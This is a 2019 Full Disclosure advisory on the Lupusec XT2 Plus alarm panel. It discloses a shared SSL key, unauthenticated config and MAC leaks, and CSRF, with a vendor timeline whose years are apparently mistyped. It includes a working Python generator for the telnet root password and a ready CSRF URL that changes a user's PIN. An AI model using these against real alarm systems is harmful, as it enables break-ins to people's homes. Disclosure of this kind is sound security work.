Message-ID: <CAOvHr1xSbefT=kzX3pdOFKwsqUTtw4u11vZgYyZoHJJaH47nRw@mail.gmail.com>
Date: Mon, 1 Apr 2019 21:12:22 +0200
From: Dan Fabian <dan.fabian@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Various vulnerabilities in Lupusec XT2 Plus home alarm system

=======================================================================
              title: Multiple Vulnerabilities
            product: Lupusec XT2 Plus Main Panel
            version: Firmware 0.0.2.19E
           homepage: https://www.lupus-electronics.de/
              found: 01/2019
                 by: D. Fabian
=======================================================================

Vendor description:
-------------------
"The new LUPUSEC-XT2 Plus is an innovative burglar alarm, smart home,
and video surveillance system that is reliable, easy to use, and
extremely versatile. It is the operating system for your building."

Source:
https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT2-Plus-Main-Panel-p.html


Vulnerability description:
-----------------------------------
1) Shared SSL certificate
All devices share the same SSL key. Anyone who is capable of
downloading the firmware off the internet can perform a MITM attack.


2) Root password derived from MAC address
While the root password is unique per device, it is derived from the
MAC address and can be fairly easily calculated off a hard-coded
secret. The panel runs a telnet server on port 55023, where the
calculated root password works. Additionally
https://alarm/action/welcomeGet discloses the MAC address without
authentication over the web interface. In combination, all of this is
sufficient to authenticate as root to any XT2 device exposed directly
on the internet.

The below small Python script returns the root password for the given
MAC address.

import hashlib
import sys

mac = "001122aabbcc" # MAC address without colons in all lowercase
x = "7jBhPZVbCJMrS9qg6KtxzHR5T2dk3NmvQ4WDywFsYpXnc8Gf"
y = "5156" + mac + "2759"
digest = hashlib.sha256()
digest.update(y)
z = digest.digest()
sys.stdout.write(x[ord(z[5]) % len(x)])
sys.stdout.write(x[ord(z[7]) % len(x)])
sys.stdout.write(x[ord(z[28]) % len(x)])
sys.stdout.write(x[ord(z[6]) % len(x)])
sys.stdout.write(x[ord(z[24]) % len(x)])
sys.stdout.write(x[ord(z[15]) % len(x)])
sys.stdout.write(x[ord(z[13]) % len(x)])
sys.stdout.write(x[ord(z[16]) % len(x)])

sys.stdout.flush()


3) Configuration including passwords downloadable without authentication
If the configuration of the device has been exported since the
previous reboot, it can be downloaded without authentication via
https://alarm/temp/config.tar.gz. The configuration contains PINs,
user passwords, and all other configuration settings. Passwords and
PINs are "encrypted" using a simple substitution cipher.


4) XML API vulnerable to CSRF
The XML API accepts requests via both GET and POST, and does not
require CSRF tokens. E.g. the following request sets the PIN of user 5
to 4444. The MAC address is publicly disclosed via the web interface
per issue #2.

https://alarm/action/xmlCmd?strXML=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0A%3Cp%3E%0A++%3Cmac+v%3D%2200%3A11%3A22%3A33%3A44%3A44%22%2F%3E%0A++%3Ccmds%3E%0A%3Ccmd+a%3D%22setUser%22%3E%0A%3Carea+v%3D%221%22%2F%3E%0A%3Cno+v%3D%225%22%2F%3E%0A%3Ccode+v%3D%224444%22%2F%3E%0A%3Cname+v%3D%22test%22%2F%3E%0A%3Clatch+v%3D%220%22%2F%3E%0A%3C%2Fcmd%3E%0A++%3C%2Fcmds%3E%0A%3C%2Fp%3E


Vendor contact timeline:
------------------------
2019-01-09: Contacted the vendor
2018-01-09: Vendor reply saying that the issues are known and should be fixed
            in the new firmware release.
2018-03-26: Vendor reply saying the new firmware was released


Solution:
---------
Per the vendor’s recommendation, update the firmware to version v0.0.3.0.

Note that I didn’t verify whether the issues are indeed resolved in
the new version. Either way it’s probably a good idea to only expose
the device through a VPN.

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists